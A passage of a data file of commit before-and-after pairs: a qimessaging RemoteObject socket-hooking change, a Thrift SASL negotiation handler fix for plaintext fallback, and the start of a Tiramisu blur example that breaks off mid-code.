{"text":"<commit_before>\/*\n**  Copyright (C) 2012 Aldebaran Robotics\n**  See COPYING for the license\n*\/\n\n\/\/ Disable \"'this': used in base member initializer list\"\n#ifdef _MSC_VER\n# pragma warning( push )\n# pragma warning(disable: 4355)\n#endif\n\n#include \"remoteobject_p.hpp\"\n#include \"message.hpp\"\n#include \"transportsocket.hpp\"\n#include <qi\/log.hpp>\n#include <boost\/thread\/mutex.hpp>\n#include <boost\/dynamic_bitset.hpp>\n#include <qi\/eventloop.hpp>\n\nqiLogCategory(\"qimessaging.remoteobject\");\n\nnamespace qi {\n\n\n  static qi::MetaObject &createRemoteObjectSpecialMetaObject() {\n    static qi::MetaObject *mo = 0;\n\n    if (!mo) {\n\n      mo = new qi::MetaObject;\n      qi::MetaObjectBuilder mob;\n      mob.addMethod(\"L\", \"registerEvent\", \"(IIL)\", qi::Message::BoundObjectFunction_RegisterEvent);\n      mob.addMethod(\"v\", \"unregisterEvent\", \"(IIL)\", qi::Message::BoundObjectFunction_UnregisterEvent);\n      mob.addMethod(typeOf<MetaObject>()->signature(), \"metaObject\", \"(I)\", qi::Message::BoundObjectFunction_MetaObject);\n\n      *mo = mob.metaObject();\n\n      assert(mo->methodId(\"registerEvent::(IIL)\") == qi::Message::BoundObjectFunction_RegisterEvent);\n      assert(mo->methodId(\"unregisterEvent::(IIL)\") == qi::Message::BoundObjectFunction_UnregisterEvent);\n      assert(mo->methodId(\"metaObject::(I)\") == qi::Message::BoundObjectFunction_MetaObject);\n    }\n    return *mo;\n  }\n\n  RemoteObject::RemoteObject(unsigned int service, qi::TransportSocketPtr socket)\n    : ObjectHost(service)\n    , _socket()\n    , _service(service)\n    , _object(1)\n    , _linkMessageDispatcher(0)\n    , _self(makeDynamicObjectPtr(this, false))\n  {\n    \/* simple metaObject with only special methods. (<100)\n     * Will be *replaced* by metaObject received from remote end, when\n     * fetchMetaObject is invoked and retuns.\n    *\/\n    setMetaObject(createRemoteObjectSpecialMetaObject());\n    setTransportSocket(socket);\n    \/\/fetchMetaObject should be called to make sure the metaObject is valid.\n  }\n\n  RemoteObject::RemoteObject(unsigned int service, unsigned int object, qi::MetaObject metaObject, TransportSocketPtr socket)\n    : ObjectHost(service)\n    , _socket()\n    , _service(service)\n    , _object(object)\n    , _linkMessageDispatcher(0)\n    , _self(makeDynamicObjectPtr(this, false))\n  {\n    setMetaObject(metaObject);\n    setTransportSocket(socket);\n  }\n\n  RemoteObject::~RemoteObject()\n  {\n    \/\/close may already have been called. (by Session_Service.close)\n    close();\n  }\n\n  \/\/### RemoteObject\n\n  void RemoteObject::setTransportSocket(qi::TransportSocketPtr socket) {\n    if (socket == _socket)\n      return;\n    if (_socket) {\n      _socket->messagePendingDisconnect(_service,\n        _object <= Message::GenericObject_Main?TransportSocket::ALL_OBJECTS:_object,\n        _linkMessageDispatcher);\n      _socket->disconnected.disconnect(_linkDisconnected);\n    }\n    _socket = socket;\n    \/\/do not set the socket on the remote object\n    if (socket) {\n      _linkMessageDispatcher = _socket->messagePendingConnect(_service,\n        _object <= Message::GenericObject_Main?TransportSocket::ALL_OBJECTS:_object,\n        boost::bind<void>(&RemoteObject::onMessagePending, this, _1));\n      _linkDisconnected      = _socket->disconnected.connect (boost::bind<void>(&RemoteObject::onSocketDisconnected, this, _1));\n    }\n  }\n\n  \/\/should be done in the object thread\n  void RemoteObject::onSocketDisconnected(int error)\n  {\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      std::map<int, qi::Promise<GenericValuePtr> >::iterator it = _promises.begin();\n      while (it != _promises.end()) {\n        qiLogVerbose() << \"Reporting error for request \" << it->first << \"(socket disconnected)\";\n        it->second.setError(\"Socket disconnected\");\n        _promises.erase(it);\n        it = _promises.begin();\n      }\n    }\n  }\n\n  void RemoteObject::onMetaObject(qi::Future<qi::MetaObject> fut, qi::Promise<void> prom) {\n    if (fut.hasError()) {\n      prom.setError(fut.error());\n      return;\n    }\n    setMetaObject(fut.value());\n    prom.setValue(0);\n  }\n\n\n\n  \/\/retrieve the metaObject from the network\n  qi::Future<void> RemoteObject::fetchMetaObject() {\n    qi::Promise<void> prom;\n    qi::Future<qi::MetaObject> fut = _self->call<qi::MetaObject>(\"metaObject\", 0U);\n    fut.connect(boost::bind<void>(&RemoteObject::onMetaObject, this, _1, prom));\n    return prom.future();\n  }\n\n  \/\/should be done in the object thread\n  void RemoteObject::onMessagePending(const qi::Message &msg)\n  {\n    qiLogDebug() << this << \"(\" << _service << '\/' << _object << \" msg \" << msg.address() << \" \" << msg.buffer().size();\n    if (msg.object() != _object)\n    {\n      qiLogDebug() << \"Passing message to host\";\n      ObjectHost::onMessage(msg, _socket);\n      return;\n    }\n\n\n    if (msg.type() == qi::Message::Type_Event) {\n      SignalBase* sb = signal(msg.event());\n      if (sb)\n      {\n        try {\n          \/\/ Signal associated with properties have incorrect signature,\n          \/\/ Trust MetaObject.\n          \/\/std::string sig = sb->signature();\n          const MetaSignal* ms  = _self->metaObject().signal(msg.event());\n          std::string sig = ms->parametersSignature();\n\n          \/\/ Remove top-level tuple\n          \/\/sig = sig.substr(1, sig.length()-2);\n          GenericValuePtr value = msg.value(sig, _socket);\n          GenericFunctionParameters args = value.asTupleValuePtr();\n          qiLogDebug() << \"Triggering local event listeners\";\n          sb->trigger(args);\n          value.destroy();\n        }\n        catch (const std::exception& e)\n        {\n          qiLogWarning() << \"Deserialize error on event: \" << e.what();\n        }\n      }\n      else\n      {\n        qiLogWarning() << \"Event message on unknown signal \" << msg.event();\n        qiLogDebug() << metaObject().signalMap().size();\n      }\n      return;\n    }\n\n\n    if (msg.type() != qi::Message::Type_Reply && msg.type() != qi::Message::Type_Error) {\n      qiLogError() << \"Message \" << msg.address() << \" type not handled: \" << msg.type();\n      return;\n    }\n\n    qi::Promise<GenericValuePtr> promise;\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      std::map<int, qi::Promise<GenericValuePtr> >::iterator it;\n      it = _promises.find(msg.id());\n      if (it != _promises.end()) {\n        promise = _promises[msg.id()];\n        _promises.erase(it);\n      } else  {\n        qiLogError() << \"no promise found for req id:\" << msg.id()\n        << \"  obj: \" << msg.service() << \"  func: \" << msg.function();\n        return;\n      }\n    }\n\n    switch (msg.type()) {\n      case qi::Message::Type_Reply: {\n        \/\/ Get call signature\n        MetaMethod* mm =  metaObject().method(msg.function());\n        if (!mm)\n        {\n          qiLogError() << \"Result for unknown function \"\n           << msg.function();\n           promise.setError(\"Result for unknown function\");\n           return;\n        }\n        try {\n          qi::GenericValuePtr val = msg.value(mm->returnSignature(), _socket);\n          promise.setValue(val);\n        } catch (std::runtime_error &err) {\n          promise.setError(err.what());\n        }\n\n        qiLogDebug() << \"Message passed to promise\";\n        return;\n      }\n\n      case qi::Message::Type_Error: {\n        try {\n          static std::string sigerr(\"m\");\n          qi::GenericValuePtr gvp = msg.value(sigerr, _socket).asDynamic();\n          std::string err = gvp.asString();\n          qiLogVerbose() << \"Received error message\"  << msg.address() << \":\" << err;\n          promise.setError(err);\n        } catch (std::runtime_error &e) {\n          \/\/houston we have an error about the error..\n          promise.setError(e.what());\n        }\n        return;\n      }\n      default:\n        \/\/not possible\n        return;\n    }\n  }\n\n\n  qi::Future<GenericValuePtr> RemoteObject::metaCall(Manageable*, unsigned int method, const qi::GenericFunctionParameters &in, MetaCallType callType)\n  {\n    qi::Promise<GenericValuePtr> out;\n    qi::Message msg;\n    std::string argsSig(\"(\");\n    \/\/ apparent signature must match for correct serialization\n    for (unsigned i = 0; i < in.size(); ++i)\n      argsSig += in[i].signature(false);\n    argsSig += ')';\n    std::string funcSig =\n      metaObject().method(method)->parametersSignature();\n    if (funcSig != argsSig)\n    {\n      std::vector<GenericValuePtr> nargs(in);\n      Signature src = Signature(argsSig).begin().children();\n      Signature dst = Signature(funcSig).begin().children();\n      Signature::iterator its = src.begin(), itd = dst.begin();\n      boost::dynamic_bitset<> allocated(nargs.size());\n      for (unsigned i = 0; i< nargs.size(); ++i, ++its, ++itd)\n      {\n        if (*its != *itd)\n        {\n          Type* target = Type::fromSignature(*itd);\n          if (!target)\n            throw std::runtime_error(\"remote call: Failed to obtain a type from signature \" + *itd);\n          std::pair<GenericValuePtr, bool> c = nargs[i].convert(target);\n          if (!c.first.type)\n          {\n            throw std::runtime_error(\n              _QI_LOG_FORMAT(\"remote call: failed to convert argument %s from %s to %s\", i, *its, *itd));\n          }\n          nargs[i] = c.first;\n          allocated[i] = c.second;\n        }\n      }\n      msg.setValues(nargs, this);\n      for (unsigned i = 0; i< nargs.size(); ++i)\n        if (allocated[i])\n        nargs[i].destroy();\n    }\n    else\n      msg.setValues(in, this);\n\n    msg.setType(qi::Message::Type_Call);\n    msg.setService(_service);\n    msg.setObject(_object);\n    msg.setFunction(method);\n    \/\/ qiLogDebug() << this << \" metacall \" << msg.service() << \" \" << msg.function() <<\" \" << msg.id();\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      if (_promises.find(msg.id()) != _promises.end())\n      {\n        qiLogError() << \"There is already a pending promise with id \"\n                                   << msg.id();\n      }\n      _promises[msg.id()] = out;\n    }\n\n    \/\/error will come back as a error message\n    if (!_socket || !_socket->isConnected() || !_socket->send(msg)) {\n      qi::MetaMethod*   meth = metaObject().method(method);\n      std::stringstream ss;\n      if (meth) {\n        ss << \"Network error while sending data to method: '\";\n        ss << meth->toString();;\n        ss << \"'.\";\n      } else {\n        ss << \"Network error while sending data an unknown method (id=\" << method << \").\";\n      }\n      if (!_socket->isConnected()) {\n        ss << \" Socket is not connected.\";\n        qiLogVerbose() << ss.str();\n      } else {\n        qiLogError() << ss.str();\n      }\n      out.setError(ss.str());\n\n      {\n        boost::mutex::scoped_lock lock(_mutex);\n        _promises.erase(msg.id());\n      }\n    }\n    return out.future();\n  }\n\n  void RemoteObject::metaPost(Manageable*, unsigned int event, const qi::GenericFunctionParameters &args)\n  {\n    \/\/ Bounce the emit request to server\n    \/\/ TODO: one optimisation that could be done is to trigger the local\n    \/\/ subscribers immediately.\n    \/\/ But it is a bit complex, because the server will bounce the\n    \/\/ event back to us.\n    qi::Message msg;\n    msg.setValue(qi::makeGenericTuple(args), this);\n    msg.setType(Message::Type_Post);\n    msg.setService(_service);\n    msg.setObject(_object);\n    msg.setFunction(event);\n    if (!_socket->send(msg)) {\n      qiLogError() << \"error while emiting event\";\n      return;\n    }\n  }\n\n  static void onEventConnected(qi::Future<Link> fut, qi::Promise<Link> prom, Link id) {\n    if (fut.hasError()) {\n      prom.setError(fut.error());\n      return;\n    }\n    prom.setValue(id);\n  }\n\n  qi::Future<Link> RemoteObject::metaConnect(unsigned int event, const SignalSubscriber& sub)\n  {\n    qi::Promise<Link> prom;\n\n    \/\/ Bind the subscriber locally.\n    Link uid = DynamicObject::metaConnect(event, sub);\n\n    qiLogDebug() <<\"connect() to \" << event <<\" gave \" << uid;\n    qi::Future<Link> fut = _self->call<Link>(\"registerEvent\", _service, event, uid);\n    fut.connect(boost::bind<void>(&onEventConnected, _1, prom, uid));\n    return prom.future();\n  }\n\n  qi::Future<void> RemoteObject::metaDisconnect(Link linkId)\n  {\n    unsigned int event = linkId >> 16;\n    \/\/disconnect locally\n    qi::Future<void> fut = DynamicObject::metaDisconnect(linkId);\n    if (fut.hasError())\n    {\n      std::stringstream ss;\n      ss << \"Disconnection failure for \" << linkId << \", error:\" << fut.error();\n      qiLogWarning() << ss.str();\n      return qi::makeFutureError<void>(ss.str());\n    }\n    if (_socket->isConnected())\n      return _self->call<void>(\"unregisterEvent\", _service, event, linkId);\n    return qi::makeFutureError<void>(\"No remote unregister: socket disconnected\");\n  }\n\n  void RemoteObject::close() {\n    if (_socket) {\n      _socket->messagePendingDisconnect(_service,\n        _object <= Message::GenericObject_Main?TransportSocket::ALL_OBJECTS:_object,\n        _linkMessageDispatcher);\n      _socket->disconnected.disconnect(_linkDisconnected);\n    }\n  }\n\n qi::Future<GenericValue> RemoteObject::getProperty(unsigned int id)\n {\n   qiLogDebug() << \"bouncing getProperty\";\n   \/\/ FIXME: perform some validations on this end?\n   return _self->call<GenericValue>(\"getProperty\", id);\n }\n\n qi::Future<void> RemoteObject::setProperty(unsigned int id, GenericValue val)\n {\n   qiLogDebug() << \"bouncing setProperty\";\n   return _self->call<void>(\"setProperty\", id, val);\n }\n}\n\n#ifdef _MSC_VER\n# pragma warning( pop )\n#endif\n<commit_msg>RemoteObject: Always hook socket on ALL_OBJECTS.<commit_after>\/*\n**  Copyright (C) 2012 Aldebaran Robotics\n**  See COPYING for the license\n*\/\n\n\/\/ Disable \"'this': used in base member initializer list\"\n#ifdef _MSC_VER\n# pragma warning( push )\n# pragma warning(disable: 4355)\n#endif\n\n#include \"remoteobject_p.hpp\"\n#include \"message.hpp\"\n#include \"transportsocket.hpp\"\n#include <qi\/log.hpp>\n#include <boost\/thread\/mutex.hpp>\n#include <boost\/dynamic_bitset.hpp>\n#include <qi\/eventloop.hpp>\n\nqiLogCategory(\"qimessaging.remoteobject\");\n\nnamespace qi {\n\n\n  static qi::MetaObject &createRemoteObjectSpecialMetaObject() {\n    static qi::MetaObject *mo = 0;\n\n    if (!mo) {\n\n      mo = new qi::MetaObject;\n      qi::MetaObjectBuilder mob;\n      mob.addMethod(\"L\", \"registerEvent\", \"(IIL)\", qi::Message::BoundObjectFunction_RegisterEvent);\n      mob.addMethod(\"v\", \"unregisterEvent\", \"(IIL)\", qi::Message::BoundObjectFunction_UnregisterEvent);\n      mob.addMethod(typeOf<MetaObject>()->signature(), \"metaObject\", \"(I)\", qi::Message::BoundObjectFunction_MetaObject);\n\n      *mo = mob.metaObject();\n\n      assert(mo->methodId(\"registerEvent::(IIL)\") == qi::Message::BoundObjectFunction_RegisterEvent);\n      assert(mo->methodId(\"unregisterEvent::(IIL)\") == qi::Message::BoundObjectFunction_UnregisterEvent);\n      assert(mo->methodId(\"metaObject::(I)\") == qi::Message::BoundObjectFunction_MetaObject);\n    }\n    return *mo;\n  }\n\n  RemoteObject::RemoteObject(unsigned int service, qi::TransportSocketPtr socket)\n    : ObjectHost(service)\n    , _socket()\n    , _service(service)\n    , _object(1)\n    , _linkMessageDispatcher(0)\n    , _self(makeDynamicObjectPtr(this, false))\n  {\n    \/* simple metaObject with only special methods. (<100)\n     * Will be *replaced* by metaObject received from remote end, when\n     * fetchMetaObject is invoked and retuns.\n    *\/\n    setMetaObject(createRemoteObjectSpecialMetaObject());\n    setTransportSocket(socket);\n    \/\/fetchMetaObject should be called to make sure the metaObject is valid.\n  }\n\n  RemoteObject::RemoteObject(unsigned int service, unsigned int object, qi::MetaObject metaObject, TransportSocketPtr socket)\n    : ObjectHost(service)\n    , _socket()\n    , _service(service)\n    , _object(object)\n    , _linkMessageDispatcher(0)\n    , _self(makeDynamicObjectPtr(this, false))\n  {\n    setMetaObject(metaObject);\n    setTransportSocket(socket);\n  }\n\n  RemoteObject::~RemoteObject()\n  {\n    \/\/close may already have been called. (by Session_Service.close)\n    close();\n  }\n\n  \/\/### RemoteObject\n\n  void RemoteObject::setTransportSocket(qi::TransportSocketPtr socket) {\n    if (socket == _socket)\n      return;\n    if (_socket) {\n      _socket->messagePendingDisconnect(_service,\n        _object <= Message::GenericObject_Main?TransportSocket::ALL_OBJECTS:_object,\n        _linkMessageDispatcher);\n      _socket->disconnected.disconnect(_linkDisconnected);\n    }\n    _socket = socket;\n    \/\/do not set the socket on the remote object\n    if (socket) {\n      \/\/ We must hook on ALL_OBJECTS in case our objectHost gets filled, even\n      \/\/ if we are a sub-object.\n      \/\/ We have no mechanism to bounce objectHost registration\n      \/\/ to a 'parent' object.\n      _linkMessageDispatcher = _socket->messagePendingConnect(_service,\n        TransportSocket::ALL_OBJECTS,\n        boost::bind<void>(&RemoteObject::onMessagePending, this, _1));\n      _linkDisconnected      = _socket->disconnected.connect (boost::bind<void>(&RemoteObject::onSocketDisconnected, this, _1));\n    }\n  }\n\n  \/\/should be done in the object thread\n  void RemoteObject::onSocketDisconnected(int error)\n  {\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      std::map<int, qi::Promise<GenericValuePtr> >::iterator it = _promises.begin();\n      while (it != _promises.end()) {\n        qiLogVerbose() << \"Reporting error for request \" << it->first << \"(socket disconnected)\";\n        it->second.setError(\"Socket disconnected\");\n        _promises.erase(it);\n        it = _promises.begin();\n      }\n    }\n  }\n\n  void RemoteObject::onMetaObject(qi::Future<qi::MetaObject> fut, qi::Promise<void> prom) {\n    if (fut.hasError()) {\n      prom.setError(fut.error());\n      return;\n    }\n    setMetaObject(fut.value());\n    prom.setValue(0);\n  }\n\n\n\n  \/\/retrieve the metaObject from the network\n  qi::Future<void> RemoteObject::fetchMetaObject() {\n    qi::Promise<void> prom;\n    qi::Future<qi::MetaObject> fut = _self->call<qi::MetaObject>(\"metaObject\", 0U);\n    fut.connect(boost::bind<void>(&RemoteObject::onMetaObject, this, _1, prom));\n    return prom.future();\n  }\n\n  \/\/should be done in the object thread\n  void RemoteObject::onMessagePending(const qi::Message &msg)\n  {\n    qiLogDebug() << this << \"(\" << _service << '\/' << _object << \" msg \" << msg.address() << \" \" << msg.buffer().size();\n    if (msg.object() != _object)\n    {\n      qiLogDebug() << \"Passing message to host\";\n      ObjectHost::onMessage(msg, _socket);\n      return;\n    }\n\n\n    if (msg.type() == qi::Message::Type_Event) {\n      SignalBase* sb = signal(msg.event());\n      if (sb)\n      {\n        try {\n          \/\/ Signal associated with properties have incorrect signature,\n          \/\/ Trust MetaObject.\n          \/\/std::string sig = sb->signature();\n          const MetaSignal* ms  = _self->metaObject().signal(msg.event());\n          std::string sig = ms->parametersSignature();\n\n          \/\/ Remove top-level tuple\n          \/\/sig = sig.substr(1, sig.length()-2);\n          GenericValuePtr value = msg.value(sig, _socket);\n          GenericFunctionParameters args = value.asTupleValuePtr();\n          qiLogDebug() << \"Triggering local event listeners\";\n          sb->trigger(args);\n          value.destroy();\n        }\n        catch (const std::exception& e)\n        {\n          qiLogWarning() << \"Deserialize error on event: \" << e.what();\n        }\n      }\n      else\n      {\n        qiLogWarning() << \"Event message on unknown signal \" << msg.event();\n        qiLogDebug() << metaObject().signalMap().size();\n      }\n      return;\n    }\n\n\n    if (msg.type() != qi::Message::Type_Reply && msg.type() != qi::Message::Type_Error) {\n      qiLogError() << \"Message \" << msg.address() << \" type not handled: \" << msg.type();\n      return;\n    }\n\n    qi::Promise<GenericValuePtr> promise;\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      std::map<int, qi::Promise<GenericValuePtr> >::iterator it;\n      it = _promises.find(msg.id());\n      if (it != _promises.end()) {\n        promise = _promises[msg.id()];\n        _promises.erase(it);\n      } else  {\n        qiLogError() << \"no promise found for req id:\" << msg.id()\n        << \"  obj: \" << msg.service() << \"  func: \" << msg.function();\n        return;\n      }\n    }\n\n    switch (msg.type()) {\n      case qi::Message::Type_Reply: {\n        \/\/ Get call signature\n        MetaMethod* mm =  metaObject().method(msg.function());\n        if (!mm)\n        {\n          qiLogError() << \"Result for unknown function \"\n           << msg.function();\n           promise.setError(\"Result for unknown function\");\n           return;\n        }\n        try {\n          qi::GenericValuePtr val = msg.value(mm->returnSignature(), _socket);\n          promise.setValue(val);\n        } catch (std::runtime_error &err) {\n          promise.setError(err.what());\n        }\n\n        qiLogDebug() << \"Message passed to promise\";\n        return;\n      }\n\n      case qi::Message::Type_Error: {\n        try {\n          static std::string sigerr(\"m\");\n          qi::GenericValuePtr gvp = msg.value(sigerr, _socket).asDynamic();\n          std::string err = gvp.asString();\n          qiLogVerbose() << \"Received error message\"  << msg.address() << \":\" << err;\n          promise.setError(err);\n        } catch (std::runtime_error &e) {\n          \/\/houston we have an error about the error..\n          promise.setError(e.what());\n        }\n        return;\n      }\n      default:\n        \/\/not possible\n        return;\n    }\n  }\n\n\n  qi::Future<GenericValuePtr> RemoteObject::metaCall(Manageable*, unsigned int method, const qi::GenericFunctionParameters &in, MetaCallType callType)\n  {\n    qi::Promise<GenericValuePtr> out;\n    qi::Message msg;\n    std::string argsSig(\"(\");\n    \/\/ apparent signature must match for correct serialization\n    for (unsigned i = 0; i < in.size(); ++i)\n      argsSig += in[i].signature(false);\n    argsSig += ')';\n    std::string funcSig =\n      metaObject().method(method)->parametersSignature();\n    if (funcSig != argsSig)\n    {\n      std::vector<GenericValuePtr> nargs(in);\n      Signature src = Signature(argsSig).begin().children();\n      Signature dst = Signature(funcSig).begin().children();\n      Signature::iterator its = src.begin(), itd = dst.begin();\n      boost::dynamic_bitset<> allocated(nargs.size());\n      for (unsigned i = 0; i< nargs.size(); ++i, ++its, ++itd)\n      {\n        if (*its != *itd)\n        {\n          Type* target = Type::fromSignature(*itd);\n          if (!target)\n            throw std::runtime_error(\"remote call: Failed to obtain a type from signature \" + *itd);\n          std::pair<GenericValuePtr, bool> c = nargs[i].convert(target);\n          if (!c.first.type)\n          {\n            throw std::runtime_error(\n              _QI_LOG_FORMAT(\"remote call: failed to convert argument %s from %s to %s\", i, *its, *itd));\n          }\n          nargs[i] = c.first;\n          allocated[i] = c.second;\n        }\n      }\n      msg.setValues(nargs, this);\n      for (unsigned i = 0; i< nargs.size(); ++i)\n        if (allocated[i])\n        nargs[i].destroy();\n    }\n    else\n      msg.setValues(in, this);\n\n    msg.setType(qi::Message::Type_Call);\n    msg.setService(_service);\n    msg.setObject(_object);\n    msg.setFunction(method);\n    \/\/ qiLogDebug() << this << \" metacall \" << msg.service() << \" \" << msg.function() <<\" \" << msg.id();\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      if (_promises.find(msg.id()) != _promises.end())\n      {\n        qiLogError() << \"There is already a pending promise with id \"\n                                   << msg.id();\n      }\n      _promises[msg.id()] = out;\n    }\n\n    \/\/error will come back as a error message\n    if (!_socket || !_socket->isConnected() || !_socket->send(msg)) {\n      qi::MetaMethod*   meth = metaObject().method(method);\n      std::stringstream ss;\n      if (meth) {\n        ss << \"Network error while sending data to method: '\";\n        ss << meth->toString();;\n        ss << \"'.\";\n      } else {\n        ss << \"Network error while sending data an unknown method (id=\" << method << \").\";\n      }\n      if (!_socket->isConnected()) {\n        ss << \" Socket is not connected.\";\n        qiLogVerbose() << ss.str();\n      } else {\n        qiLogError() << ss.str();\n      }\n      out.setError(ss.str());\n\n      {\n        boost::mutex::scoped_lock lock(_mutex);\n        _promises.erase(msg.id());\n      }\n    }\n    return out.future();\n  }\n\n  void RemoteObject::metaPost(Manageable*, unsigned int event, const qi::GenericFunctionParameters &args)\n  {\n    \/\/ Bounce the emit request to server\n    \/\/ TODO: one optimisation that could be done is to trigger the local\n    \/\/ subscribers immediately.\n    \/\/ But it is a bit complex, because the server will bounce the\n    \/\/ event back to us.\n    qi::Message msg;\n    msg.setValue(qi::makeGenericTuple(args), this);\n    msg.setType(Message::Type_Post);\n    msg.setService(_service);\n    msg.setObject(_object);\n    msg.setFunction(event);\n    if (!_socket->send(msg)) {\n      qiLogError() << \"error while emiting event\";\n      return;\n    }\n  }\n\n  static void onEventConnected(qi::Future<Link> fut, qi::Promise<Link> prom, Link id) {\n    if (fut.hasError()) {\n      prom.setError(fut.error());\n      return;\n    }\n    prom.setValue(id);\n  }\n\n  qi::Future<Link> RemoteObject::metaConnect(unsigned int event, const SignalSubscriber& sub)\n  {\n    qi::Promise<Link> prom;\n\n    \/\/ Bind the subscriber locally.\n    Link uid = DynamicObject::metaConnect(event, sub);\n\n    qiLogDebug() <<\"connect() to \" << event <<\" gave \" << uid;\n    qi::Future<Link> fut = _self->call<Link>(\"registerEvent\", _service, event, uid);\n    fut.connect(boost::bind<void>(&onEventConnected, _1, prom, uid));\n    return prom.future();\n  }\n\n  qi::Future<void> RemoteObject::metaDisconnect(Link linkId)\n  {\n    unsigned int event = linkId >> 16;\n    \/\/disconnect locally\n    qi::Future<void> fut = DynamicObject::metaDisconnect(linkId);\n    if (fut.hasError())\n    {\n      std::stringstream ss;\n      ss << \"Disconnection failure for \" << linkId << \", error:\" << fut.error();\n      qiLogWarning() << ss.str();\n      return qi::makeFutureError<void>(ss.str());\n    }\n    if (_socket->isConnected())\n      return _self->call<void>(\"unregisterEvent\", _service, event, linkId);\n    return qi::makeFutureError<void>(\"No remote unregister: socket disconnected\");\n  }\n\n  void RemoteObject::close() {\n    if (_socket) {\n      _socket->messagePendingDisconnect(_service,\n        TransportSocket::ALL_OBJECTS,\n        _linkMessageDispatcher);\n      _socket->disconnected.disconnect(_linkDisconnected);\n    }\n  }\n\n qi::Future<GenericValue> RemoteObject::getProperty(unsigned int id)\n {\n   qiLogDebug() << \"bouncing getProperty\";\n   \/\/ FIXME: perform some validations on this end?\n   return _self->call<GenericValue>(\"getProperty\", id);\n }\n\n qi::Future<void> RemoteObject::setProperty(unsigned int id, GenericValue val)\n {\n   qiLogDebug() << \"bouncing setProperty\";\n   return _self->call<void>(\"setProperty\", id, val);\n }\n}\n\n#ifdef _MSC_VER\n# pragma warning( pop )\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2016 Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <thrift\/lib\/cpp2\/async\/SaslNegotiationHandler.h>\n\nnamespace apache { namespace thrift {\n\nusing ProtectionState = apache::thrift::ProtectionHandler::ProtectionState;\n\nvoid SaslNegotiationHandler::read(Context* ctx, BufAndHeader bufAndHeader) {\n  if (protectionHandler_->getProtectionState() == ProtectionState::NONE ||\n      protectionHandler_->getProtectionState() == ProtectionState::VALID) {\n    \/\/ This handler should be removed from the pipeline after sasl\n    \/\/ negotiation is completed. If it is still installed, it should\n    \/\/ do nothing.\n    ctx->fireRead(std::move(bufAndHeader));\n  } else {\n    if (handleSecurityMessage(std::move(bufAndHeader.first),\n                              std::move(bufAndHeader.second))) {\n      ctx->fireRead(std::move(bufAndHeader));\n    }\n  }\n}\n\n}} \/\/ namespace\n<commit_msg>Fix fallback to plaintext<commit_after>\/*\n * Copyright 2016 Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <thrift\/lib\/cpp2\/async\/SaslNegotiationHandler.h>\n\nnamespace apache { namespace thrift {\n\nusing ProtectionState = apache::thrift::ProtectionHandler::ProtectionState;\n\nvoid SaslNegotiationHandler::read(Context* ctx, BufAndHeader bufAndHeader) {\n  if (protectionHandler_->getProtectionState() == ProtectionState::NONE) {\n    \/\/ This handler should be removed from the pipeline after sasl\n    \/\/ negotiation is completed. If it is still installed, it should\n    \/\/ do nothing.\n    ctx->fireRead(std::move(bufAndHeader));\n  } else {\n    if (handleSecurityMessage(std::move(bufAndHeader.first),\n                              std::move(bufAndHeader.second))) {\n      ctx->fireRead(std::move(bufAndHeader));\n    }\n  }\n}\n\n}} \/\/ namespace\n<|endoftext|>"}
{"text":"<commit_before>#include <isl\/set.h>\n#include <isl\/union_map.h>\n#include <isl\/union_set.h>\n#include <isl\/ast_build.h>\n#include <isl\/schedule.h>\n#include <isl\/schedule_node.h>\n\n#include <tiramisu\/debug.h>\n#include <tiramisu\/core.h>\n\n#include <string.h>\n#include <Halide.h>\n#include \"halide_image_io.h\"\n\n\/* Halide code.\nFunc blurxy(Func input, Func blur_y) {\n    Func blur_x;\n    Var x, y, xi, yi;\n\n    \/\/ The algorithm - no storage or order\n    blur_x(x, y) = (input(x-1, y) + input(x, y) + input(x+1, y))\/3;\n    blur_y(x, y) = (blur_x(x, y-1) + blur_x(x, y) + blur_x(x, y+1))\/3;\n\n    \/\/ The schedule - defines order, locality; implies storage\n    blur_y.tile(x, y, xi, yi, 256, 32)\n        .vectorize(xi, 8).parallel(y);\n    blur_x.compute_at(blur_y, x).vectorize(x, 8);\n  }\n*\/\n\n#define SIZE0 1280\n#define SIZE1 768\n\nusing namespace tiramisu;\n\nint main(int argc, char **argv)\n{\n    \/\/ Set default tiramisu options.\n    global::set_default_tiramisu_options();\n\n\n    \/\/ -------------------------------------------------------\n    \/\/ Layer I\n    \/\/ -------------------------------------------------------\n\n    \/*\n     * Declare a function blurxy.\n     * Declare two arguments (tiramisu buffers) for the function: b_input and b_blury\n     * Declare an invariant for the function.\n     *\/\n    function blurxy(\"blurxy\");\n\n    constant p0(\"N\", expr((int32_t) SIZE0), p_int32, true, NULL, 0, &blurxy);\n    constant p1(\"M\", expr((int32_t) SIZE1), p_int32, true, NULL, 0, &blurxy);\n\n    \/\/ Declare a wrapper around the input.\n    computation c_input(\"[N]->{c_input[i,j]: 0<=i<N and 0<=j<N}\", expr(), false, p_uint8, &blurxy);\n\n    var i(\"i\"), j(\"j\"), i0(\"i0\"), i1(\"i1\"), j0(\"j0\"), j1(\"j1\");\n\n    \/\/ Declare the computations c_blurx and c_blury.\n    expr e1 = (c_input(i - 1, j) +\n               c_input(i    , j) +\n               c_input(i + 1, j)) \/ ((uint8_t) 3);\n\n    computation c_blurx(\"[N,M]->{c_blurx[i,j]: 0<i<N and 0<j<M}\", e1, true, p_uint8, &blurxy);\n\n    expr e2 = (c_blurx(i, j - 1) +\n               